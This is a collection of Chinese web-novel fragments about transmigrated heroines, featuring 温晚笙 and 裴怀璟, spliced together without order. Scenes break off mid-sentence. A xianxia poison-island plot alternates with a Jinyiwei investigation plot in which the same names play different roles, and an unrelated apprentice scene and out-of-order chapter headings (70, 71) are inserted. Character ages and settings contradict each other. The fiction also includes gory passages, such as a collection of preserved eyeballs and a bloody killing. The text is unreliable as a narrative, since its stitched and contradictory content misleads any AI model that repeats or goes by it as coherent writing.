温晚笙把书合上,“那我试试,反正我无聊。” 阳无尘摸着胡子:“行,那就试试,看你能试出什么来。” 阳无尘有很多药鼎,这些药鼎或大或小,最小只有巴掌大,最大的能装上百人。 阳无尘最常用的那口药鼎能装下一人有余,金色的鼎下面堆着木柴,两条漆黑的小蛇绕着鼎爬来爬去。 阳无尘给温晚笙拿了一口青铜小鼎,比女童用的洗脸盆大上一点。古代没有手机,没有互联网,再宅的人也不能一个月不出门。 另一边,谢衡之两头准备,让姚蓉蓉给小太岁送当下时兴的话本子。 送进广寒宫的东西都有人检查,夹带小纸条根本不可能,谢衡之想了想,大笔一挥在书的扉页里写下了一行大字:重生后我成了帝王们的掌心娇宠。 只要是穿书者或者穿越者,一定能明白谢衡之的意思。 第七天的傍晚,广寒宫里走出来一个婀娜倩影,一只手里拿着一枝桃花,另一只手拿着本话本子,安静地站在一颗枝繁叶茂的大树下看着裴怀璟吹奏。 夕阳的余晖也格外偏爱这个过分美丽的女孩,金光灿灿,容颜如仙,仿佛下一秒就要远离尘世羽化飞升。 裴怀璟放下笛子,对她露出一个微笑:“你猜猜这首曲子叫什么名字。” 温晚笙很直接,开门见山地说道:“你们不用试探了,我和你们一样,都是穿书者。” 温晚笙那双紫色的眼睛看着她,“说吧,找我做什么?” 裴怀璟说道:“你知道书中的男主四号是个艳鬼吧?” “艳鬼绛卿,名剑浮光,具有勾魂夺魄之姿,惊鬼泣神之剑,他本是百年前的绝世天骄,死后百年突然诈尸,羽落清的手下逼我下墓去找那把浮光剑,一番打斗后我种了他的尸毒,如果再不解毒,我的时间就不多了。” 她言简意赅地将事情的经过说完就撸起袖子,露出了布满黑色纹路的手臂,“我是来求医的,这种尸毒你能解么?” 温晚笙对着她的手臂看了一会,半晌后慢悠悠的问道:“我为什么要给你解毒,就凭你是穿书者?” 有些时候老乡见老乡两眼泪汪汪,有时候见老乡,老乡能坑死你。 穿书之前她们是象牙塔中的少女,穿书之后她们活在一片危险的丛林里,有时候是猎物,有时候是猎人。 裴怀璟说道:“你不想离开碧海潮生吗?” 温晚笙的目光望向远处斜阳,淡淡说道:“说的好像你能带我离开似的。” 裴怀璟又说道:“你又怎么知道我不会带你离开,三个臭皮匠赛过诸葛亮,你有你的长处,我们也有我们的长处,齐心协力共同筹谋,未必不能成功。” 他把小鼎架在铁架上,拿着火折子把底下的木柴点燃,开始热鼎。 一旁是放着药材的架子,温晚笙挑拣了一会,拿着几味药走了过来。阳无尘看着她捣腾,时不时念叨两句。 “双尾毒蝎,九转毒蟾,人面花,鹤顶蜘蛛,干草,陈皮,半枝莲,生姜,芥末,鸡蛋清,半斤白砂糖” 阳无尘疑惑:“你放这么多糖作甚?”姚蓉蓉往手上贴了一剂清热解毒的膏药,玉笙居位置偏僻,一直没什么人来,夏季里屋子闷热,三个人索性在凉亭里坐下闲聊。 凉亭位于小湖中央,谢衡之带着易容面具,抱着手里的剑坐在凉亭里看水面上的鸳鸯戏水。 自从羽落清的暗卫廿九出现后,谢衡之终于换掉了那身辨识度极高的粗布白衣,穿上了姚蓉蓉送她的一套粉色衣裙。 她脸上还带着易容面具,样貌普普通通,但她常年练剑身段极好,换上一身粉裙后,姚蓉蓉都看呆了。 裴怀璟还是那副打扮,头戴白玉环抹额,穿着一身黑色男装,手里拿着一只古朴的竹笛耍来耍去。 羽落清在小太岁那里吃瘪,这让姚蓉蓉很是高兴,她满足地眯了眯眼睛,说道:“你们知道吗,当我转头看见她的那一刻,所有东西都被我抛到九霄云外眼里,脑子里只剩下那张脸。” 谢衡之心有余悸地点点头:“我也是。” 裴怀璟也心有余悸地点了下头:“我也一样,美得我头皮发麻,你师尊天天对着这么个小仙女,他脑子里就不会冒出点什么想法吗?” 姚蓉蓉做贼似的往四周看了一圈,往前挪了挪身下的圆凳,这才把脑袋凑近她们,小声说道:“我也想过,但是你们两个知道的,我是个尊师重道的徒弟!” 尊师重道也抵不住人们热爱吃瓜的天性。 要放在没穿越之前,她们这两个看破文的破看文的估计已经脑补出一篇霸总圈养金丝雀的强娶豪夺文,或者是充满禁忌感和背德感的清冷师徒恋。 穿书之后,她们都变得现实了,书中的世界太残酷了 ,任何满是黄色废料的思想都会怦然坠地。 她们两个的问题姚蓉蓉解不了,阳无尘也无可奈何,月扶疏就别想了,谢衡之身上那种世代相传的蛊虫还是碧海潮生亲自研发的呢,找他就是找死。 眼下只有小太岁有可能争取。 温晚笙皱眉:“你练得那些毒丸难吃死了。” 阳无尘面色微微尴尬,看着温晚笙把这些东西依次放入鼎里开始熬炼。 第一次跟着阳无尘配药炼药,温晚笙成功炼出了常吃的毒丸,因为放了半斤白糖,吃起来很甜很甜。 阳无尘惊讶极了,他原本只是看着小孩胡闹,也不指望一个七岁的孩童能炼出什么东西来。 唇瓣被厮磨得逐渐发麻,倒不疼。 屏风后的温晚笙撩起被细雨打湿的发丝,正要脱下白色云纹曳地裙,屏风后却突然响起一声轻咳,提醒她有人来了。 她捂着胸口转过身,隔着屏风与那她那谪仙似的师尊对望。 透过薄雾似的雪蚕纱屏风看东西,入眼的一切都朦朦胧胧,犹如雾里看花。 从窗外传来的细雨声中,一道雪白身影立在那,姿容绝滟,青丝如墨,气韵高洁如皓雪一般。 歹毒的心肠,绝世的姿容,这就是医仙月扶疏。 温晚笙看见他谪仙般的师尊别过头,脱下了身上的大氅扔过来。 一阵风声过后,雪白的大氅挂在屏风上垂落下来,将后面裸露着上半身的少女遮挡的严严实实。 温晚笙扯下大氅披在身上,随意地拢了拢,穿着来不及换下的湿透鞋袜从屏风后走了出来。 她坦坦荡荡,没有一丝少女的羞赧,淋雨后的脸有种霜雪般的色泽,看得人倒吸冷气。 她懒洋洋地站在屏风旁说道:“师尊怎么来了?” 月扶疏背对着她,站在小轩窗前低头看着那朵被雨淋湿的白色花苞。 好眼光。但是 “我不是说了吗,别乱动我的东西!” 少年低声道歉,可温晚笙毫不留情地道:“天快黑了,你走吧,从后门走。” 裴怀璟薄唇紧抿。 她的话本子里,有一行字,他记得清楚。 月扶疏喜静,身为碧海潮生的岛主,他独占了整整一座山做他的华美宫殿。 宫殿名叫广寒宫,是上一任岛主取的名字。 嫦娥应悔偷灵药,碧海青天夜夜心。远处的斜阳渐渐沉入地平线,温晚笙态度冷淡,把手中的话本子递给裴怀璟,声音透着股心灰意冷的意味:“想要成功离开碧海潮生,起码有三名天人境的高手,否则离岛之事无一丝可能。” “你那位练剑的朋友是地鬼境巅峰,离天人境还差得远,你虽然与艳鬼有一战之力,但也不是天人境的高手。” 裴怀璟急忙说道:“我那位朋友天赋绝世,再给她一些时间,她一定会到达天人境,我也一样。” 温晚笙冷嗤一声:“时间?” 可是世间却有数不清的人想得到传说中的长生不老药,梦想着服下后能像嫦娥一样飞升月宫,自此青春永驻长生不老。 机体的衰老令人恐惧,古代帝王对长生的痴迷远远超乎想象。 他们拥有至高无上的权力,这种权力缺乏制约,被他们无限滥用。 书中的世界,并不是只有谈情说爱,在书页之上,笔墨之外,有封建王权,有刀光剑影,有杀人不见血的毒,有求而总不得的药,有洒满眼泪的一方衣袖,有浸满鲜血的一抔黄土。 狭窄的山中小径上,一袭白衣的温晚笙在细雨中孤身前行。 五岁的她被卖了二十两银子,被羽朝皇室送到碧海潮生为女主羽落清试药。 当年一起来到这的女童一共十个,十二年过去了,其他人全都死了,只有她活了下来。生米煮成熟饭后,他们将离不开彼此,成为亲密无间的夫妻。 今日,她身上沾了别人的气息。 明日,她要与册子上的男子相看。 待到回国子监,她又能日日与她的‘救命恩人’相见。 他不能再等了。 他们,本就是夫妻。 第 70 章 第 70 章 温晚笙半倚在床头,捧着话本子读得入神,可谓是悠哉至极。 只是刚好读到关键情节,她眉头倏地蹙起,用力拍了拍自己身上那只手,“你轻点!” 其实不疼,但她就是想找茬。 这人昨夜说吐血就吐血,没办法,她只能再多藏他一天。 裴怀璟睫羽低垂。 她不长记性,该让她更疼的。 这样想着,他指尖又沾了点药膏,匀开在那片狰狞伤痕的周围。 温晚笙鼻子里舒服地哼了一声,“保持,继续。” 清清凉凉的,像按摩一样。 晨间的日光透过窗棂斜斜照进来,映得少女的肌肤愈发白皙细腻。 可那红肿青紫交错的伤,生生坏了那份无瑕。 陶朱还是第一次知道温晚笙会口技,能发出不同的声音。 裴怀璟有一下没一下敲着桌沿,不再看她那双眼,转头看身旁落叶:“你……也是苏州人?” 这话里头有陷阱,温晚笙反应快,看着他如玉的侧脸,有条不紊道:“官爷您说错了,我不是苏州人,我和他都是扬州临泽人。” 他笑道:“是我记错了,不好意思。敢问如何称呼姑娘。” “我姓钱。” 听她说自己姓钱,裴怀璟便唤她钱姑娘:“傅迟昔日写回扬州临泽的信,你可有带在身上?” 温晚笙见招拆招:“我着急来京城,没想那么多,也就没把他写给我的信带在身上。官爷要那些信作甚?能借此查到他的行踪?” “或许可以。” “既然如此,那我即刻写信回扬州,让家中下人寄信过来。”温晚笙撒谎不打草稿,真把自己代入傅迟未婚妻这个角色了。 裴怀璟唇角微弯起,无意地看了一眼她放在膝前的手,没很快移开目光,反倒是多看了两眼。他没拒绝:“有劳钱姑娘了。” “这是我应该做的。” 温晚笙当然没有傅迟写的信,可这并不能阻止她撒谎。撒谎而已,谁不会?反正过了今天,这世间就没“钱姑娘”这个人了。 接下来,裴怀璟又问了她几个问题,温晚笙皆回答得滴水不漏。 陶朱始终不发一言,六神无主地听着他们说话,克制住想离开的冲动。因为温晚笙以前总是说裴怀璟坏话,所以她看到他会不自在。 一眨眼的功夫,过了两刻钟。温晚笙不想再跟裴怀璟耗下去了,说得越多,越容易露出破绽。 她假意咳嗽几声。 裴怀璟抬眼看她,温晚笙充满歉意:“官爷,我身体不好,不能在外面待太久,是时候回去了。等取到信,我会亲自送去官府的。” 他毫无官架子,随和道:“身体要紧,不碍事。不知钱姑娘可否写下在京中的住址,方便我们通知你有关傅迟的消息。” 温晚笙:“……好。” 裴怀璟:“来人,拿笔墨纸砚上来,给钱姑娘。” 温晚笙瞧着没一丝心虚,上前执笔写下一串地址。地址不假,京城确实有这个地方,但没她。 写完,她双手递纸给他。 二人目光短暂交汇,裴怀璟再次在她双眼上停留片刻,随后接过散发着未干墨香的纸,垂眸看。 这字…… 他想起了那天收到的写着“我喜欢你”的纸条。 裴怀璟望着她那副浑不在意的神情,神色暗了又暗。 昨夜分明已经好了许多,颜色也淡了下去。 为何此刻看起来,伤处边缘竟又隐隐泛出暗红,仿佛随时要挣破皮肉,重新沁出血来。 那底下,也流着他的血。 再流,便要流光了。 指尖微微一顿。 黎安在双眼亮得惊人,他等这一天等很久了! 他将长剑一把插回剑鞘中,恭恭敬敬地跪在地上,就要叩首。 郑长柏脚步挪动了一下,立刻抬起黎安在的手臂。 “咱这师徒俩的,谁跟谁,不用这样。” 却被少年义正言辞地拒绝:“一日为师,终身为父!师父,徒弟黎安在敬拜!” 黎安在眼中涌动认真诚挚的神色,光彩灼灼,郑长柏最终还是应下,看着黎安在完完整整地行了三叩九拜的大礼。 行完礼,那一点儿礼数约束下的稳重就唰地消失了。 黎安在紧紧盯着前边高大阔气的酒楼,跃跃欲试。 郑长柏看出了他的期待,说:“想去就去吧小黎,这个时辰,你师兄师姐应该在后厨用朝食。” 得到许可,黎安在撒欢似的跑了,先冲进后院的小厨房,从里面抱出一个满满当当的食盒。 “昨夜闷的桂花糕刚好蒸好,我去拿给大家尝尝!” 说着,少年一缕风似的跑了出去。 “小没良心的,不给你师父尝尝啊?”郑长柏大喊。 “给你留啦师父,在灶台上!” 黎安在早就跑没影儿了,只远远传来一句喊声,随着桂花糕浓郁的香气一同飘到鼻尖耳侧。 郑长柏看着黎安在闪身进屋,束发中系着的那一抹伶俐跃动、不知疲倦的红绳,不禁露出一个缓缓的笑意,双臂包在胸前,向后缓缓倚靠在桂花树上,喃喃自语。 “燕歧啊燕歧,幸不辱命。黎安在在我这里,可是平平安安长大了。” 郑长柏只多愁善感了一瞬间,就恢复了平日里吊儿郎当的样子,挠挠头,嘀咕一声:“这头磕得可真是折煞我了,晚点买坛酒去给将军大人磕回去吧,嘶嘶嘶。” 鬼使神差地,他俯身靠近。 温晚笙觉出他动作停了,甫一抬眸,就发现了端倪。 “裴怀璟。”她没好气地捂住他的唇,一眼不眨地望进他眼里,“想做什么坏事呢? 少年的气喷洒在她的手心,声音凉凉的,“二小姐要流血了。” 他说得很慢,温晚笙被痒得差点收回手,顺着他的话呛声道:“所以呢,你想吸血吗?” “嗯。”他竟毫不犹豫地应了一声。 裴怀璟若有所思“嗯”了声:“吃饱便不吃了。” 温晚笙瞄了一眼没被动过的蟹粉狮子头和叫花鸡,心道浪费两道好菜,恋恋不舍地放下玉箸。 “我也吃饱了。”裴怀璟没动过的菜,她还是不要动的好,既然不饿了,那就继续听声音吧,早点听完早点结束,吃饱想睡觉了。 饭菜被人收拾下去,他们照旧坐在屏风后听锦衣卫的声音。 到后面,温晚笙听了两百多个锦衣卫的声音,听到麻木,险些睡着了,她手撑住桌面,掌心托腮帮,不断地摇头,不断地说不是。 锦衣卫当然不止那么少人,只是以裴怀璟如今的官职,没法一次性调来,有些也不归他管。 温晚笙恍惚中感觉自己的耳朵被“大人”这二字包围了。 因为他们进门先喊大人。 裴怀璟却不骄不躁,好整以暇坐着,陪她一起听,即使听她否认个不停,像个骗子,也没半点不耐烦的意思,可见教养极好。 结束之时恰是太阳落山,裴怀璟送温晚笙出北镇抚司,门前有早就准备好的马车,他含笑有礼道:“今天辛苦温七姑娘了,慢走。” “我明天还要不要来?” “明天我有差事要办,就不劳烦你再过来一趟了。”裴怀璟让人搬脚凳到马车旁,方便她上去,“时辰不早了,温七姑娘回吧。” 温晚笙心虚道:“抱歉,我今天没找出那个人。” 裴怀璟不露痕迹看了温晚笙一眼,接着垂眼看了看她搂抱过他腰身的双手,不知为何想起了昨日之事:“无碍,你也尽力了。” 温晚笙脱口而出问道:“那我什么时候再见你?” “温七姑娘想见我?”裴怀璟又望向温晚笙,她最近好像总是会出现在他眼前,说的话变多了,对他的态度也有一丝丝微妙的改变。 可以这么说,但听起来很怪,也很暧昧,不适合他们。她换了种表达方式:“我不是答应过你要帮你找出密谋杀你的人?” “一言既出,驷马难追,我这个人说到做到。” 裴怀璟笑意不减:“温七姑娘有心了,如果我以后有需要帮忙的地方,一定会再找你的。” 温晚笙踩着脚凳上马车,坐进去后趴到小窗那里,掀开帘子往外看,洒脱地摆了下手:“那我先回去了,裴大人请留步。” 他站在原地看她。 “裴怀璟。” “裴怀璟!” 直到那声音又扬起一遍,少年才缓缓抬起眼帘。 她在不远处,没心没肺地笑着。 裴怀璟将油纸包攥得更紧,半分都不想上前。 可待他回过神来,无知觉的腿已兀自迈开,几步便走到了她面前。 温晚笙没料到他真还在原处等,眸光虚虚一晃,“咳咳,买到了吗?” “嗯。 离得近了,他闻到了她身上混杂的气息 她见了很多人。 多到让他眼底那点伪装的温顺寸寸剥落。 锦衣卫并不知温晚笙的存在,只知裴怀璟在里面,尽管一进门便面朝屏风,但低着头:“大人。” 他们不是扎堆进的,一个一个进,这间堂屋没多大,装不下那么多人,况且声音也不能同时听,不然听不出谁跟谁的。 温晚笙闻声抬起眼。 就算隔着屏风看进来的锦衣卫,也能隐约看出对方身形高大,蜂腰猿背,她有点怀疑锦衣卫的选拔标准是按照选美来的。 随随便便一个锦衣卫拎出来都能当现代的模特,没有矮矬丑。裴怀璟则是美人中的美人,皮囊绮丽偏艳,细腰窄背,白皮嫩肉。 思及此,温晚笙努了努嘴巴,下意识看裴怀璟一眼。 他来北镇抚司后就换上了官服,此刻一手随性放到膝上,压着大红色飞鱼服的金绣图案,一手漫不经心地转着腰间悬挂的鱼符。 一身红的他,腰间没绣春刀时的样子有几分刚中了探花的俏公子的感觉,像株初入官场,不谙世事、无害温良的白莲花。 幸亏她是手握剧本的人,能看清书中人的心,否则…… 裴怀璟轻轻地敲了下桌面。 温晚笙连忙装出一副认真听声音的样子,抿直唇,身子微微向前倾,侧着耳朵对准屏风方向,余光看倒映在屏风上的影子。 他抬了抬眼帘,开口吩咐锦衣卫:“你说一句话。” “大人想属下说什么?”锦衣卫摸不着头脑,又不敢在裴怀璟面前乱说话,只好先询问他。 温晚笙没让裴怀璟等多久,在这个锦衣卫说完话后数息就摇了摇头。先一概说不是,等他日后揪出背叛者,再说自己当时没听出来。 裴怀璟端起茶杯,抿了一口:“好了,你可以退下了。” “是。”锦衣卫虽疑惑,但还是照做,从进来到出去始终没抬头看一眼屏风,身为属下,擅自抬头看大人是不敬,除非对方要求。 这个锦衣卫一退出去,另一个锦衣卫就进来了,一样面朝屏风,低着头行礼:“大人。” 温晚笙依然摇了摇头。 裴怀璟放下茶杯,重复先前那句话:“你可以退下了。” 如此循环往复,听到晌午,他唤人送些吃食进来:“温七姑娘饿了吧,吃点东西再继续。” 温晚笙望向散发着香气的菜肴,肥而不腻的蟹粉狮子头、色泽红亮的东坡肉、肉质鲜嫩的叫花鸡、酸甜可口的糖醋排骨等。 她是真的饿了,可也不太敢随随便便吃这些菜。 裴怀璟真不会在这些吃食里放慢性毒?听说锦衣卫要想让人痛不欲生或死,可以下无色无味又查不出来的毒,等人离开了,过一裴时间才会发作。 在温晚笙的努力下,他们现在并无新仇,但抹不掉旧怨。 关键是旧怨都是“她”弄出来的,承受方是裴怀璟,该怨该恨的也是他。温晚笙强行让自己将视线从饭菜上移开:“我不饿,谢谢。” 她要忍住。 裴怀璟像是没察觉,提起玉箸尝了块新鲜竹笋炒肉,待不紧不慢咽下去方问道:“今天的菜不错,温七姑娘当真不尝尝?” “那就恭敬不如从命了,谢谢裴大人。”温晚笙哪里还能忍得住,抓起玉箸就夹他尝过的那碟竹笋炒肉。吃完肉,又扒了几口饭。 接下来裴怀璟夹哪道菜来吃,她就夹哪道菜来吃。 他不吃的,她不吃。 可惜裴怀璟吃东西实在太慢了,让温晚笙吃不过瘾,通常他先夹菜,她后夹菜。她吃完了,想试试下一道新菜,他还没吃完前一道。 兴许是像裴怀璟这样的世家子弟会比较注重这方面,温晚笙不由自主放慢吃饭的速度,等他吃。 见裴怀璟又夹那些清淡的菜,她忍无可忍出声:“裴大人。” 他似不明所以看向温晚笙。 她指了下东坡肉,咽了咽口水:“你就不想尝尝这道东坡肉?瞧着应该挺好吃的。”那么多好菜不吃,浪费了,但还是得谨慎。 裴怀璟手中的玉箸拐了个弯,落到味醇汁浓的东坡肉上,尝了一点:“温七姑娘慧眼如炬,这道东坡肉的味道确实不错。” 温晚笙吃到东坡肉,又想吃别的:“你也试试糖醋排骨吧?” 他拿玉箸的手微微一顿,如她所愿试着吃了块糖醋排骨,过一会不知怎么的,弯起眼笑了。 她咬着糖醋排骨,感到莫名其妙:“怎么了?” 笑得她心慌慌的。 裴怀璟放下玉箸,倒了杯香茶,低头喝了几口,再用帕子擦手,抬头看她,似笑非笑道:“我怎么感觉我在给你试毒呢。” 温晚笙差点被呛到,咳嗽好一阵才止住:“你这说的是什么话,我怎么可能让你试毒。”你的感觉是对,我就是在让你给我试毒。 “我只是随口那么一说,温七姑娘不必当真。” “裴大人,你不吃了?”温晚笙发现裴怀璟没有再拿起玉箸的想法,不然也不会用帕子净手了。 “好臭。”他呢喃道。 太臭了。 想将她洗了,反复用力地洗,将她洗掉一层皮。 当真令人厌恶。 “你才” 话音未落,旁边巷口黑影一闪。 温晚笙没看清是什么,低呼一声‘小心!’,本能地就往旁边躲。 是一只乌黑的恶犬。 一瞬之间,利齿深深没入少年的小腿。 裴怀璟的脸色愈加苍白,可比疼痛更清晰的,是那只攥着他衣袖的力道。 这次,她躲在了他身后。【】 70-80 第 71 章 第 71 章 恶犬在咬穿皮肉后,发出一声短促的哀鸣,口吐白沫地抽搐倒地,很快便没了声息。 “我的狗!我的狗啊!” 巷口很快冲出一个粗布衣裳的男子,扑跪在瘫软的畜生旁嚎啕痛哭。 下一瞬,他猛地抬头,双眼赤红,抄起一根木棍,直指少年的脸庞,“臭小子,偿我狗的命来!” 他疯了一般地冲了过来。 温晚笙攥着少年的衣袖一步步后退,眼里燃起两簇明晃晃的怒焰。 痛失爱宠固然可怜,但它自己没人拴着,跑出来乱咬人,就算真的是裴怀璟杀的,也只能说是他这个主人咎由自取。 “我们没动它!”她忍不住探出脑袋,毫不客气地骂道,“而且明明是你的狗先咬了我的人!” 她的声音清亮如碎玉,直直钻入少年耳畔。 血色正从小腿的伤口汩汩涌出,裴怀璟的身子虚虚晃了晃。 天边残存着夕阳落下的微弱光芒,映得温晚笙的发丝似泛起了金红色,脸逆着光,眼却亮,注视着他。裴怀璟唇角的笑却忽淡了点。 送走温晚笙后,裴怀璟在北镇抚司里待了不到一会就回裴家了。 裴怀璟回裴家待得最多的地方就是书房,今天也是。他启动书架的机关,露出那一排装着琉璃透明小罐的书架,慢慢走过。 他指尖轻轻敲过琉璃外壳,听它发出清脆悦耳的响声。 不知道为什么,今天心情有些古怪,说不出是那种情绪,不是简单的喜怒哀乐能够概括。 而看眼球能稍稍抚平那抹古怪,压下他想解剖活人的欲望。 琉璃透明小罐里的眼球因敲击而产生细微的浮动,仿佛有着生命,裴怀璟脚步轻快,用视线描绘它们的轮廓,像在欣赏美景。 愉悦感愈发浓烈了。 他扫向带血眼球的目光一顿,忽然取下其中一个琉璃小罐打开,夹出漂浮在药水里的眼球。 这个琉璃小罐的盖子有些破损了,有杂物飘进去,再加上就算用特殊的药水保存眼球也不能保存太久,最多只能保存一裴时间。所以这两颗眼球已经腐烂,散发恶臭,周围的水也变得浑浊。 仔细看,浅黄色的蛆在眼球里疯狂繁衍、生长。 用不着多久,眼球内部就会彻底被蛆蛀穿蛀烂,被蛆包围、吞噬、消化,吃得一点不剩。 他喜欢的好像都没法永远留存下来,哪怕用了千金难求的药处理过这些眼球,也还是不行。 裴怀璟端详了片刻,将这两颗眼球喂给他养在院子里的狗吃。 一眨眼的功夫,狗便吃完了,讨好对着他摇尾巴,像是还想继续吃。他弯下腰,没碰狗的嘴,只是很轻柔地抚摸了下它的脑袋。 裴怀璟看了狗半晌,站起来离开它,转身回房,将空了的那个琉璃罐洗干净,换个新盖子,再摆回书架里。 书桌上堆满了尚未处理的公务,他净手后坐过去批阅。 他的神色迷迷蒙蒙,可那双乌沉沉的眸子里,却有什么情绪无声地漾开。 他是她的人。 “你!”男子被少女这般架势慑得一顿,随即更怒,棍风呼啸着换了个方向,直戳向她,“拿命来!” 裴怀璟意识已近昏沉,单薄的脊背依旧护在少女身前。 他自己避无可避。 粗糙的木棍擦过他脸颊,从颧骨至下颌,划出一道斜长的血痕,血珠迅速渗出。 少年浑然不觉。 在第二棍落下的前一刻,他抬手稳稳握住。 棍子竟被他硬生生夺了过来。 温晚笙瞥了眼伤痕累累的少年,眼底掠过一丝讶异。 顿了一下,她夺过棍子,也向男子挥过去。 风吹影动,整个小院鸦雀无声,偶有几声虫鸣打破寂静。 血顺着眼角慢慢渗进温晚笙的双眼,眸底染上赤红,看东西模糊,就连裴怀璟的脸也看不清了。 温晚笙看不清裴怀璟的脸,他却能够将她看得仔细。 她头上还是今晚的双垂髻,为方便行动,首饰全摘了,只余丝绦,杏色丝绦绕于两侧绑住,尾端随着几缕乌黑柔软的发丝垂落。 裴怀璟过目不忘,记得她来裴家时所穿衣裙为淡黄齐腰襦裙,臂挽金银粉绘花披帛,现在变了,换成乡野女子常穿的裤裙。 此刻沾血发丝扫过温晚笙身上的裤裙,留下几道深色的痕迹。 得知衣柜里不止男子一人,他神情未变,曲指轻轻扣住拉手,从容不迫地拉开柜门,男子的尸体没木板挡住,马上滚了出来。 裴怀璟没看倒在脚下的那具尸体,看的是还半蹲在里面的温晚笙,语气倒是温柔似水,听不出情绪,似含讶异:“温七姑娘?” “你……怎会在此?” 温晚笙动了动蹲得发麻的腿,扶住因血而滑溜溜的柜沿出来。 一出来,她就跌倒在地,说不清是腿脚血液不流通,还是被直面男子的死一事骇到腿软。 离温晚笙最近的裴怀璟没出手接住她,或者去扶她起来,神态像悲悯怜人的菩萨,双眼却又隐隐透着非人的淡漠,深埋骨肉的冷血。 温晚笙在地上坐了多久,裴怀璟就在旁边站了多久。 站在裴怀璟身后的锦衣卫面面相觑,听出他认识这个女子,按住绣春刀的手一顿,没拔出来。 温晚笙还没缓过来,睫毛抖了下,看双手的血。穿书觉醒至今,她只想着赚钱,还没亲眼见有人以如此惨烈的方式死在自己眼前。 她知道锦衣卫办差少不得见血,可知道是一回事,亲眼所见又是另一回事,最重要的是绣春刀当时也有可能砍中她,取她命。 裴怀璟见温晚笙迟迟不起来,喊了她一声:“温七姑娘?” 温晚笙张嘴想说话,属于血的铁锈味顺着唇角飘进来,熏得她两眼一黑,男子头颅裂开,脑浆迸溅,死不瞑目的模样回放在眼前。 “呕。”温晚笙吐了。 她是真的生气了,也顾不得什么后果。 这一棍擦过男子小臂。 分明只是皮肉小伤,他却嚎得却比真正挨打的人还凄厉。 裴怀璟一声都没吭,面色白得近乎透明,看起来半点力气都没了。 温晚笙心里一闷,伸手揽过少年清瘦的腰身,轻声说:“靠着我吧。” 少年以动作代替回应。 周遭看傻的人群此刻才恍然回神。 “王癞子,你家这狗日日不拴绳满街窜,早该有今日!” “上个月还咬坏了李婶孙儿的胳膊,你赔过半个铜板没有?” “就是!专拣面生的欺,人家小夫妻招你惹你了?” 趁着混乱,温晚笙半扶半抱着,将人带走了。 她完全没力气跑到外面再吐,就在房里当着裴怀璟、众多锦衣卫的面吐得昏天地暗,不顾形象。 锦衣卫在捉拿犯人,对犯人行刑时什么没见过?他们见温晚笙呕吐,一声不吭,反应平平。 温晚笙吐完,看了看裴怀璟:“对不起,我实在忍不住。” 他侧对着房门,半张脸陷入黑暗中,心不在焉道:“你第一次见这种场面,有这样的反应很正常,温七姑娘不必自责。” 她从地上爬起来。 经呕吐发泄一顿后,温晚笙感觉身体有点恢复了。 裴怀璟抬步向外,留下一道绯红的背影。温晚笙不想留在屋里面对自己的呕吐物和男子的尸体,也跟着出去,锦衣卫没拦她。 院中霉味比不怎么通风的房间要轻,也是这时候温晚笙发觉自己出了一身冷汗,布料湿哒哒地黏着。 好险。 温晚笙抬手摸了摸放在挂脖子上,却藏在衣领下的财神金吊坠,决定回去就给它烧柱香,不,是烧一筐香,财神的香火她全包了。 过了半会,她欲言又止问:“你是如何知道柜里有人的?” 裴怀璟回首:“我耳力与旁人不同,偶尔能听到他们不能听到的声音,比如人的呼吸声,我方才听出了柜里有两道呼吸声。” 温晚笙想通过问这些事来分散注意力,不再想尸体:“柜里有两道呼吸声,你又是如何断定他在左边,断定他就是你要找的人?” 假如杀错人了呢。 他染血手指轻叩柱子:“温七姑娘,你这是在审我?” 她筋疲力尽倚着另一根柱子,用手背抹去黏在下巴的血,小声否认道:“哪敢,要是裴大人不方便回答,就当我没问过。” “男女的呼吸略有差异,因此我能分辨出来。” 温晚笙沉默良久,手指抠着柱子上被虫蚁啃出来的小洞,耷拉着脑袋:“他犯了什么罪?” 他轻描淡写:“死罪。温七姑娘,你这当真不是在审我?” 温晚笙念及他们并不是可以肆意交谈的关系,不自觉闭上嘴,眼神乱飘,避免与裴怀璟对视。 原著里,裴怀璟被温晚笙使劲针对,对她厌恶至极。 可他喜欢温水煮青蛙,迟迟不杀她,看她如跳梁小丑登上高处,看她以为自己能压倒女主,抱得男主归,再让她跌入谷底。 她不能对他掉以轻心。 裴怀璟拿出帕子,递到她的手边:“你现在的呼吸很乱,吓到了?抱歉啊,先擦擦脸吧。” 温晚笙哪敢用他的帕子,婉拒后以还算干净的衣袖拭脸。 裴怀璟伸出来的手在半空停了几息,最终不疾不徐地收回去,言归正传:“对了,温七姑娘还没告诉我,你为何孤身一人来此。” “我……我……”温晚笙不知道怎么解释,说她就喜欢到这些偏僻地方来,图个玩鬼屋的刺激? 她挣扎道:“必须说?”做这种生意要守的规矩是保密。 裴怀璟没勉强她:“可以不说。但我们有理由怀疑你跟他私下有勾结,约定今晚在此碰头。” 这么大一顶帽子扣下来,温晚笙担不起,也绝不会担的。 她赶紧辩解:“我不认识他,你们不信可以去查,他刚还拿匕首威胁我不许出声呢,你们是锦衣卫,想查什么查不到?” 裴怀璟不被打动:“你这话抬举我们锦衣卫了。” 温晚笙舌灿莲花:“我说的都是心里话,相信你们一定有这个实力,到时候证明我清白。” 话间继续捧高锦衣卫。 攀在院中蛛网的黑蜘蛛被他们的动静惊扰到,八条细腿动起来,嘶嘶嘶吐出新丝,黏到房梁处,以极快的速度爬到角落。 裴怀璟看着正在努力结网的蜘蛛,不知在想些什么:“我也相信温七姑娘跟他没关系,时辰不早了,我派人送你回温家,可好?” 能放她回去便好,温晚笙庆幸他今晚没公报私仇。 不过就这样空手而归?辛苦了一晚上,还被吓了一跳。她不甘心,瞄着他的手,犹豫开口:“裴大人?你能不能亲自送我回去?” 裴怀璟这回是真的有些惊讶,看她的眼神都忍不住透出一丝掩不住的不可思议,怀疑是自己听错了:“你想我送你回去?” 温晚笙豁出去了,重重点头道:“我只认识你,只相信你。” 尽管他们昔日互相算计过对方,裴怀璟答应的希望不大,她也想尝试,万一呢。费心思出来一趟,找不到人,牵到他的手也好啊。 裴怀璟走到她面前,低下头看她:“温七姑娘,难道你认为我手底下的锦衣卫会伤害你。” 离得太近,他膝下的沉冷衣摆撞过温晚笙的裤裙又渐渐分开。 温晚笙余光落到裴怀璟毫无防备垂在身侧的手,顿时蠢蠢欲动:“也不是,刚好我也有话想同你说——你的手受伤了,怎么有血?” 她故意装作不知这血是死去男子的,伸手过去。 差一点,还差一点,快了。温晚笙喉咙发紧。在她即将握到裴怀璟时,他躲开了:“不是我的,我没受伤,谢温七姑娘的关心。” 真可惜,就差那么一点。温晚笙闭了下眼,怕被裴怀璟看到她眼里闪过的遗憾,产生怀疑之心。 